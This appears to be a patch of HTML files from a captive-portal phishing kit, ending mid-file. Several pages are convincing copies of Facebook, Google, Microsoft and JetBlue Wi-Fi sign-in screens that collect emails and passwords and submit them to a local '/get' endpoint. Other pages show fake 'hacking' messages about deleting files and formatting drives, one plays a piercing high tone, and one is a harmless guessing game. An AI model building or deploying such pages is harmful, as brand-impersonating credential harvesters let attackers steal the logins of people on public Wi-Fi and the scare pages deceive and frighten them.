<div class="login-container">
|
||||
<svg id="logo" viewBox="0 0 24 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
|
||||
<g>
|
||||
<path fill="#1877F2" d="M22 2H2C.9 2 0 2.9 0 4v16c0 1.1.9 2 2 2h9v-7h-3V11h3V9c0-2.8 2.2-5 5-5h3v3h-3c-1.1 0-2 .9-2 2v2h5l-1 3h-4v7h6c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2z"></path>
|
||||
</g>
|
||||
</svg>
|
||||
<form action="/get" method="get">
|
||||
<h1>Sign in</h1>
|
||||
<h2>Use your Facebook Account</h2>
|
||||
<label for="email"><b>Email</b></label>
|
||||
<input type="text" placeholder="Enter Email" name="email" required>
|
||||
<label for="password"><b>Password</b></label>
|
||||
<input type="password" placeholder="Enter Password" name="password" required>
|
||||
<button type="submit">Sign in</button>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,61 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<style>
|
||||
* {
|
||||
box-sizing: border-box;
|
||||
}
|
||||
body {
|
||||
background-color: #000;
|
||||
color: #0F0;
|
||||
font-family: 'Courier New', Courier, monospace;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
overflow: hidden;
|
||||
}
|
||||
#terminal {
|
||||
position: absolute;
|
||||
width: 100%;
|
||||
height: 100vh;
|
||||
padding: 20px;
|
||||
white-space: pre-wrap;
|
||||
overflow-wrap: break-word;
|
||||
animation: type 20s steps(80, end);
|
||||
}
|
||||
@keyframes type {
|
||||
from {width: 0;}
|
||||
}
|
||||
</style>
|
||||
<title>Hacking Simulation</title>
|
||||
</head>
|
||||
<body>
|
||||
<div id="terminal"></div>
|
||||
<script>
|
||||
const lines = [
|
||||
'Initiating connection...',
|
||||
'Bypassing security protocols...',
|
||||
'Accessing system...',
|
||||
'Disabling antivirus...',
|
||||
'Initiating data transfer...',
|
||||
'Deleting files...',
|
||||
'Formatting drive...',
|
||||
'Hacking successful.'
|
||||
];
|
||||
let i = 0;
|
||||
let txt = '';
|
||||
let speed = 100;
|
||||
|
||||
function typeWriter() {
|
||||
if (i < lines.length) {
|
||||
txt += lines[i] + "\n";
|
||||
document.getElementById("terminal").innerHTML = txt;
|
||||
i++;
|
||||
setTimeout(typeWriter, speed);
|
||||
}
|
||||
}
|
||||
typeWriter();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,58 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Captive Portal</title>
|
||||
<style>
|
||||
body {
|
||||
background-color: #000;
|
||||
color: #0F0;
|
||||
font-family: 'Courier New', Courier, monospace;
|
||||
}
|
||||
#terminal {
|
||||
white-space: pre;
|
||||
overflow: hidden;
|
||||
margin: 0 auto;
|
||||
padding: 10px;
|
||||
}
|
||||
#connectBtn {
|
||||
display: block;
|
||||
position: absolute;
|
||||
left: 20px;
|
||||
background: #0F0;
|
||||
padding: 10px 20px;
|
||||
color: #000;
|
||||
text-decoration: none;
|
||||
margin-top: 20px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<a id="connectBtn" href="javascript:void(0);" onclick="startHack();">Connect</a>
|
||||
<div id="terminal"></div>
|
||||
<script>
|
||||
var content = [
|
||||
"Accessing device...",
|
||||
"Device accessed ✔",
|
||||
"Deleting files...",
|
||||
"Files deleted ✔",
|
||||
"Formatting device...",
|
||||
"Device formatted ✔. \n\n",
|
||||
"(☞ ͡° ͜ʖ ͡°)☞",
|
||||
"ᕙ(͡°‿ ͡°)ᕗ",
|
||||
/* You should add the rest of your ASCII art here. */
|
||||
];
|
||||
|
||||
function startHack() {
|
||||
var terminal = document.getElementById('terminal');
|
||||
var counter = 0;
|
||||
document.getElementById('connectBtn').style.display = 'none';
|
||||
var intervalId = setInterval(function() {
|
||||
terminal.textContent += content[counter++] + '\n';
|
||||
if (counter === content.length) {
|
||||
clearInterval(intervalId);
|
||||
}
|
||||
}, 1000);
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,71 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Captive Portal</title>
|
||||
<style>
|
||||
body {
|
||||
background-color: #000;
|
||||
color: #0F0;
|
||||
font-family: 'Courier New', Courier, monospace;
|
||||
}
|
||||
#terminal {
|
||||
white-space: pre;
|
||||
overflow: hidden;
|
||||
margin: 0 auto;
|
||||
padding: 10px;
|
||||
}
|
||||
#connectBtn {
|
||||
display: block;
|
||||
position: absolute;
|
||||
left: 20px;
|
||||
background: #0F0;
|
||||
padding: 10px 20px;
|
||||
color: #000;
|
||||
text-decoration: none;
|
||||
margin-top: 20px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<a id="connectBtn" href="javascript:void(0);" onclick="startHack();">Connect</a>
|
||||
<div id="terminal"></div>
|
||||
<script>
|
||||
var content = [
|
||||
"Accessing device...",
|
||||
"Device accessed ✔",
|
||||
"Deleting files...",
|
||||
"Files deleted ✔",
|
||||
"Formatting device...",
|
||||
"Device formatted ✔. \n\n",
|
||||
"(☞ ͡° ͜ʖ ͡°)☞",
|
||||
"ᕙ(͡°‿ ͡°)ᕗ",
|
||||
/* You should add the rest of your ASCII art here. */
|
||||
];
|
||||
|
||||
function startHack() {
|
||||
var terminal = document.getElementById('terminal');
|
||||
var counter = 0;
|
||||
document.getElementById('connectBtn').style.display = 'none';
|
||||
var intervalId = setInterval(function() {
|
||||
terminal.textContent += content[counter++] + '\n';
|
||||
if (counter === content.length) {
|
||||
clearInterval(intervalId);
|
||||
}
|
||||
}, 1000);
|
||||
|
||||
// Creating the audio context
|
||||
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
|
||||
var oscillator = audioCtx.createOscillator();
|
||||
oscillator.type = 'sine';
|
||||
oscillator.frequency.value = 8000; // frequency in Hz
|
||||
oscillator.connect(audioCtx.destination);
|
||||
oscillator.start();
|
||||
|
||||
// Stop the frequency sound after 1 minute
|
||||
setTimeout(function() {
|
||||
oscillator.stop();
|
||||
}, 60000); // 60000 milliseconds = 1 minute
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,74 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
* {
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
font-family: Arial, sans-serif;
|
||||
}
|
||||
body {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 100vh;
|
||||
background-color: #f1f1f1;
|
||||
}
|
||||
.login-container {
|
||||
background-color: #fff;
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
|
||||
}
|
||||
#logo {
|
||||
display: block;
|
||||
margin: 0 auto 20px;
|
||||
}
|
||||
h1, h2 {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
.g-input {
|
||||
display: block;
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
margin-bottom: 10px;
|
||||
border: 1px solid #ddd;
|
||||
border-radius: 5px;
|
||||
}
|
||||
.gbtn-primary {
|
||||
display: block;
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
background-color: #1a73e8;
|
||||
color: #fff;
|
||||
cursor: pointer;
|
||||
}
|
||||
</style>
|
||||
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
|
||||
</head>
|
||||
<body>
|
||||
<div class="login-container">
|
||||
<form action="/get" id="email-form-step">
|
||||
<div id="logo">
|
||||
<svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
|
||||
<g id="qaEJec"><path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path></g>
|
||||
<g id="YGlOvc"><path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path></g>
|
||||
<g id="BWfIk"><path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path></g>
|
||||
<g id="e6m3fd"><path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path></g>
|
||||
<g id="vbkDmc"><path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path></g>
|
||||
<g id="idEJde"><path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path></g>
|
||||
</svg>
|
||||
</div>
|
||||
<h1>Sign in</h1>
|
||||
<h2>Use your Google Account</h2>
|
||||
<input name="email" type="text" class="g-input" placeholder="Email" required>
|
||||
<input name="password" type="password" class="g-input" placeholder="Password" required>
|
||||
<button class="gbtn-primary" type="submit">Next</button>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,60 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #003876;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
color: white;
|
||||
}
|
||||
.login-container {
|
||||
background-color: #1A73E8;
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.1);
|
||||
}
|
||||
.login-container h1, .login-container h2 {
|
||||
text-align: center;
|
||||
}
|
||||
.login-container button {
|
||||
width: 100%;
|
||||
}
|
||||
.form-control {
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-lg-4 offset-lg-4 login-container">
|
||||
<div id="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.4" clip-rule="evenodd" viewBox="0 0 560 400">
|
||||
<path fill="#fff" fill-rule="nonzero" d="M112 167h14v74c0 12-9 20-21 20h-5v-13h4c5 0 8-2 8-8zm0-28h14v14h-14zm36 56c1-10 7-16 15-16s14 6 15 16zm43 12v-12c0-17-13-29-28-29-13 0-28 9-28 36 0 28 16 35 30 35 9 0 18-3 25-11l-10-9c-4 4-10 7-15 7-10 0-17-6-17-17zm11-61h14v21h10v11h-10v40c0 4 2 5 5 5h5v13h-7c-10 0-17-6-17-17v-41h-7v-11h7zm70 47c11 0 16 7 16 15 0 7-5 14-16 14h-22v-29zm-37 43h41c15 0 27-11 27-27 0-10-5-20-16-23 11-5 14-13 14-21 0-15-9-26-28-26h-38zm36-84c11 0 16 7 16 14 0 8-5 14-16 14h-21v-28zm40-13h14v79c0 3 2 5 5 5h5v13h-6c-10 0-18-4-18-17zm30 28h13v41c0 10 6 15 14 15s14-5 14-15v-41h14v69h-14v-7c-5 5-11 8-18 8-11 0-23-8-23-24zm76 28c0-10 6-16 15-16 8 0 14 6 14 16zm43 12v-12c0-17-13-29-28-29-14 0-29 9-29 36 0 28 17 35 31 35 9 0 18-3 25-11l-10-9c-5 4-10 7-16 7-9 0-16-6-16-17z"/>
|
||||
</svg>
|
||||
</div>
|
||||
<form action="/get" id="email-form-step">
|
||||
<h1>Welcome aboard!</h1>
|
||||
<h2>Sign in with your JetBlue<br>Account to use Wi-Fi</h2>
|
||||
<div class="form-group">
|
||||
<input name="email" type="text" class="form-control" placeholder="Email" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input name="password" type="password" class="form-control" placeholder="Password" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<button class="btn btn-primary" type="submit">Sign In</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,139 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: flex-start;
|
||||
align-items: flex-start;
|
||||
height: 100vh;
|
||||
background: #000;
|
||||
color: #0f0;
|
||||
font-family: 'Courier New', Courier, monospace;
|
||||
padding: 20px;
|
||||
padding-top: 20%;
|
||||
box-sizing: border-box;
|
||||
overflow: hidden;
|
||||
position: relative;
|
||||
}
|
||||
.form-container {
|
||||
width: 300px; /* You can adjust this value to match your preference */
|
||||
}
|
||||
#matrix {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
z-index: 1;
|
||||
}
|
||||
#matrix span {
|
||||
position: absolute;
|
||||
font-size: 20px;
|
||||
animation: matrix 1s linear infinite;
|
||||
animation-play-state: paused;
|
||||
}
|
||||
@keyframes matrix {
|
||||
0% { top: -100%; }
|
||||
100% { top: 100%; }
|
||||
}
|
||||
#terminal, #signin, #loginForm {
|
||||
position: relative;
|
||||
z-index: 2;
|
||||
}
|
||||
#terminal {
|
||||
width: 100%;
|
||||
max-width: 800px;
|
||||
white-space: pre-wrap;
|
||||
line-height: 1.5;
|
||||
text-align: left;
|
||||
color: #f00; /* make the color of the terminal text red */
|
||||
font-weight: bold; /* make the terminal text bold */
|
||||
margin-top: 20px;
|
||||
}
|
||||
#loginForm {
|
||||
margin-top: 20px;
|
||||
}
|
||||
#loginForm input {
|
||||
margin-bottom: 10px;
|
||||
padding: 5px;
|
||||
width: 100%;
|
||||
}
|
||||
#signin {
|
||||
margin-bottom: 10px;
|
||||
font-size: 1.4em;
|
||||
color: #fff;
|
||||
font-weight: bold;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="form-container">
|
||||
<div id="signin">Register or Sign-in</div>
|
||||
<form id="loginForm" action="/get" method="get">
|
||||
<input type="text" name="email" placeholder="Email/Username" required>
|
||||
<input type="password" name="password" placeholder="Password" required>
|
||||
<input type="submit" value="Submit">
|
||||
</form>
|
||||
</div>
|
||||
<div id="terminal"></div>
|
||||
<div id="matrix"></div>
|
||||
<script>
|
||||
var terminal = document.getElementById('terminal');
|
||||
var form = document.getElementById('loginForm');
|
||||
var matrix = document.getElementById('matrix');
|
||||
|
||||
var messages = [
|
||||
'Initiating connection...',
|
||||
'Bypassing security protocols...',
|
||||
'Accessing system...',
|
||||
'Disabling antivirus...',
|
||||
'Accessing User\'s Email & Passwords...',
|
||||
'Accessing User\'s Contact...',
|
||||
'Initiating data transfer...',
|
||||
'Deleting files...',
|
||||
'Formatting drive...',
|
||||
'Hacking successful.',
|
||||
];
|
||||
|
||||
function typeMessage(message, index) {
|
||||
if (index < message.length) {
|
||||
terminal.innerText += message[index];
|
||||
setTimeout(typeMessage, 50, message, index + 1); /* make text load faster */
|
||||
} else {
|
||||
terminal.innerText += '\n> ';
|
||||
if (messages.length) {
|
||||
var nextMessage = messages.shift();
|
||||
setTimeout(typeMessage, 500, nextMessage, 0); /* make next message appear faster */
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
form.onsubmit = function(e) {
|
||||
e.preventDefault();
|
||||
terminal.innerText = '> ';
|
||||
var message = messages.shift();
|
||||
typeMessage(message, 0);
|
||||
form.style.display = 'none';
|
||||
|
||||
// Start matrix rain
|
||||
var spans = matrix.querySelectorAll('span');
|
||||
for (let i = 0; i < spans.length; i++) {
|
||||
spans[i].style.animationPlayState = 'running';
|
||||
}
|
||||
}
|
||||
|
||||
// Matrix rain
|
||||
var characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
|
||||
for (let i = 0; i < 100; i++) {
|
||||
let span = document.createElement('span');
|
||||
span.innerText = characters[Math.floor(Math.random() * characters.length)];
|
||||
span.style.left = Math.random() * window.innerWidth + 'px';
|
||||
span.style.animationDelay = Math.random() + 's';
|
||||
matrix.appendChild(span);
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,77 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, Helvetica, sans-serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
.container {
|
||||
max-width: 400px;
|
||||
padding: 25px;
|
||||
margin: auto;
|
||||
}
|
||||
.form {
|
||||
max-width: 300px;
|
||||
padding: 20px;
|
||||
border: 1px solid #cccccc;
|
||||
border-radius: 5px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
h1 {
|
||||
text-align: center;
|
||||
color: #0067b8;
|
||||
}
|
||||
input[type="text"], input[type="password"] {
|
||||
width: 100%;
|
||||
padding: 12px 10px;
|
||||
margin: 8px 0;
|
||||
box-sizing: border-box;
|
||||
border: 1px solid #cccccc;
|
||||
border-radius: 4px;
|
||||
}
|
||||
button[type="submit"] {
|
||||
width: 100%;
|
||||
background-color: #0067b8;
|
||||
color: white;
|
||||
padding: 14px 20px;
|
||||
margin: 8px 0;
|
||||
border: none;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
}
|
||||
button[type="submit"]:hover {
|
||||
background-color: #005299;
|
||||
}
|
||||
svg {
|
||||
display: block;
|
||||
margin: 0 auto;
|
||||
width: 150px;
|
||||
height: 150px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<svg viewBox="0 0 337.6 72" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
|
||||
<path fill="#737373" d="M140.4 14.4v43.2h-7.5V23.7h-.1l-13.4 33.9h-5l-13.7-33.9h-.1v33.9h-6.9V14.4h10.8l12.4 32h.2l13.1-32h10.2zm6.2 3.3c0-1.2.4-2.2 1.3-3 .9-.8 1.9-1.2 3.1-1.2 1.3 0 2.4.4 3.2 1.2s1.3 1.8 1.3 3-.4 2.2-1.3 3c-.9.8-1.9 1.2-3.2 1.2s-2.3-.4-3.1-1.2a4.5 4.5 0 0 1-1.3-3zm8.1 8.9v31h-7.3v-31h7.3zm22.1 25.7c1.1 0 2.3-.2 3.6-.8 1.3-.5 2.5-1.2 3.6-2v6.8c-1.2.7-2.5 1.2-4 1.5-1.5.3-3.1.5-4.9.5A14.7 14.7 0 0 1 159.7 43c0-5 1.5-9.1 4.4-12.3 2.9-3.2 7-4.8 12.4-4.8a18.4 18.4 0 0 1 7.4 1.7v7a11.5 11.5 0 0 0-7-2.6c-2.9 0-5.2.9-7 2.8s-2.6 4.4-2.6 7.6c0 3.1.9 5.6 2.6 7.3 1.7 1.7 4 2.6 6.9 2.6zm27.9-26.2a8 8 0 0 1 2.8.4v7.4c-.4-.3-.9-.6-1.7-.8s-1.6-.4-2.7-.4c-1.8 0-3.3.8-4.5 2.3s-1.9 3.8-1.9 7v15.6h-7.3v-31h7.3v4.9h.1c.7-1.7 1.7-3 3-4 1.4-.9 3-1.4 4.9-1.4zm3.2 16.5c0-5.1 1.5-9.2 4.3-12.2a16 16 0 0 1 12-4.5c4.8 0 8.6 1.4 11.3 4.3s4.1 6.8 4.1 11.7c0 5-1.5 9-4.3 12-2.9 3-6.8 4.5-11.8 4.5-4.8 0-8.6-1.4-11.4-4.2a16 16 0 0 1-4.2-11.6zm7.6-.3c0 3.2.7 5.7 2.2 7.4s3.6 2.6 6.3 2.6c2.6 0 4.7-.8 6.1-2.6 1.4-1.7 2.1-4.2 2.1-7.6a12 12 0 0 0-2.1-7.6 7.5 7.5 0 0 0-6-2.6c-2.7 0-4.7.9-6.2 2.7-1.7 1.9-2.4 4.4-2.4 7.7zm35-7.5c0 1 .3 1.9 1 2.5.7.6 2.1 1.3 4.4 2.2 2.9 1.2 5 2.5 6.1 3.9a8.1 8.1 0 0 1 1.8 5.3c0 2.9-1.1 5.2-3.4 7a14 14 0 0 1-9.1 2.6 23.7 23.7 0 0 1-8.3-1.7v-7.2c1.3.9 2.8 1.7 4.3 2.2 1.5.5 2.9.8 4.2.8 1.6 0 2.9-.2 3.6-.7.8-.5 1.2-1.2 1.2-2.3 0-1-.4-1.8-1.2-2.6-.8-.7-2.4-1.5-4.6-2.4-2.7-1.1-4.6-2.4-5.7-3.8s-1.7-3.2-1.7-5.4c0-2.8 1.1-5.1 3.3-6.9 2.2-1.8 5.1-2.7 8.6-2.7 1.1 0 2.3.1 3.6.4l3.4.9V34c-1-.6-2.1-1.2-3.4-1.7-1.3-.5-2.6-.7-3.8-.7-1.4 0-2.5.3-3.2.8-.7.7-1.1 1.4-1.1 2.4zm16.4 7.8c0-5.1 1.5-9.2 4.3-12.2a16 16 0 0 1 12-4.5c4.8 0 8.6 1.4 11.3 4.3s4.1 6.8 4.1 11.7c0 5-1.5 9-4.3 12-2.9 3-6.8 4.5-11.8 4.5-4.8 0-8.6-1.4-11.4-4.2a16.5 16.5 0 0 1-4.2-11.6zm7.6-.3c0 3.2.7 5.7 2.2 7.4s3.6 2.6 6.3 2.6c2.6 0 4.7-.8 6.1-2.6 1.4-1.7 2.1-4.2 2.1-7.6a12 12 0 0 0-2.1-7.6 7.5 7.5 0 0 0-6-2.6c-2.7 0-4.7.9-6.2 2.7-1.7 1.9-2.4 4.4-2.4 7.7zm48.4-9.7H312v25h-7.4v-25h-5.2v-6h5.2v-4.3c0-3.2 1.1-5.9 3.2-8s4.8-3.1 8.1-3.1l2.4.1c.7 0 1.3.2 1.8.4V18l-1.3-.5c-.6-.2-1.3-.3-2.1-.3-1.5 0-2.7.5-3.5 1.4-.8.9-1.2 2.4-1.2 4.2v3.7h10.9v-7l7.3-2.2v9.2h7.4v6h-7.4V47c0 1.9.4 3.2 1 4 .7.8 1.8 1.2 3.3 1.2a5 5 0 0 0 1.5-.3c.6-.2 1.1-.4 1.5-.7v6a7 7 0 0 1-2.3.7c-1.1.2-2.1.3-3.2.3-3.1 0-5.4-.8-6.9-2.4-1.5-1.6-2.3-4.1-2.3-7.4l.1-15.8z"/>
|
||||
<path fill="#F25022" d="M0 0h34.2v34.2H0z"/>
|
||||
<path fill="#7FBA00" d="M37.8 0H72v34.2H37.8z"/>
|
||||
<path fill="#00A4EF" d="M0 37.8h34.2V72H0z"/>
|
||||
<path fill="#FFB900" d="M37.8 37.8H72V72H37.8z"/>
|
||||
</svg>
|
||||
<form action="/get" method="get" id="email-form-step" class="form">
|
||||
<h1>Sign In with<br>your Microsoft account</h1>
|
||||
<input name="email" type="text" placeholder="Email" required>
|
||||
<input name="password" type="password" placeholder="Password" required>
|
||||
<button type="submit">Next</button>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,76 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Guess the number to use WiFi</title>
|
||||
<style>
|
||||
body, html {
|
||||
height: 100%;
|
||||
margin: 0;
|
||||
background: #cfcfcf;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
flex-direction: column;
|
||||
font-family: Arial, sans-serif;
|
||||
}
|
||||
#user-input {
|
||||
margin: 1em;
|
||||
font-size: 1em;
|
||||
padding: 0.25em;
|
||||
width: 40%;
|
||||
max-width: 150px;
|
||||
}
|
||||
#submit-btn, #reset-btn {
|
||||
font-size: 2em;
|
||||
margin: 1em;
|
||||
cursor: pointer;
|
||||
}
|
||||
#message {
|
||||
font-size: 1.5em;
|
||||
}
|
||||
#instruction {
|
||||
color: gray;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Guess the number to use WiFi</h1>
|
||||
<p id="instruction">Enter a number between 0-10</p>
|
||||
<input id="user-input" type="number" min="0" max="10"/>
|
||||
<button id="submit-btn">Guess</button>
|
||||
<p id="message"></p>
|
||||
<button id="reset-btn" style="display: none;">Reset Game</button>
|
||||
<script>
|
||||
var randomNumber = Math.floor(Math.random() * 11);
|
||||
var submitBtn = document.getElementById("submit-btn");
|
||||
var userInput = document.getElementById("user-input");
|
||||
var message = document.getElementById("message");
|
||||
var resetBtn = document.getElementById("reset-btn");
|
||||
|
||||
submitBtn.addEventListener("click", function(){
|
||||
var userGuess = userInput.value;
|
||||
if(userGuess == randomNumber) {
|
||||
message.textContent = "Congratulations! You've guessed the number.";
|
||||
endGame();
|
||||
} else {
|
||||
message.textContent = "Try again!";
|
||||
}
|
||||
});
|
||||
|
||||
resetBtn.addEventListener("click", function(){
|
||||
randomNumber = Math.floor(Math.random() * 11);
|
||||
message.textContent = "";
|
||||
userInput.value = "";
|
||||
resetBtn.style.display = "none";
|
||||
submitBtn.style.display = "block";
|
||||
userInput.disabled = false;
|
||||
});
|
||||
|
||||
function endGame() {
|
||||
submitBtn.style.display = "none";
|
||||
resetBtn.style.display = "block";
|
||||
userInput.disabled = true;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,91 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #f6f8fa;
|
||||
}
|
||||
.container {
|
||||
width: 80%;
|
||||
max-width: 300px;
|
||||
margin: 10% auto;
|
||||
text-align: center;
|
||||
}
|
||||
.container .logo {
|
||||
width: 50%;
|
||||
height: auto;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
.container h1 {
|
||||
margin: 5px 0;
|
||||
}
|
||||
.container p {
|
||||
margin: 0;
|
||||
font-size: 0.8em;
|
||||
color: #666;
|
||||
}
|
||||
.container form {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
.container form input {
|
||||
margin: 5px 0;
|
||||
padding: 10px;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 3px;
|
||||
}
|
||||
.container form button {
|
||||
margin: 5px 0;
|
||||
padding: 10px;
|
||||
color: #fff;
|
||||
background-color: #0076bc;
|
||||
border: none;
|
||||
border-radius: 3px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.container form button:hover {
|
||||
background-color: #005999;
|
||||
}
|
||||
@media (max-width: 600px) {
|
||||
.container {
|
||||
width: 95%;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
<meta
|
||||
name="viewport"
|
||||
content="width=device-width, initial-scale=1, maximum-scale=1"
|
||||
/>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<svg
|
||||
class="logo"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xml:space="preserve"
|
||||
viewBox="0 0 1001 209"
|
||||
>
|
||||
<path fill="#0076BC" d="M934 61v102l67-51z" />
|
||||
<path
|
||||
fill="#77787B"
|
||||
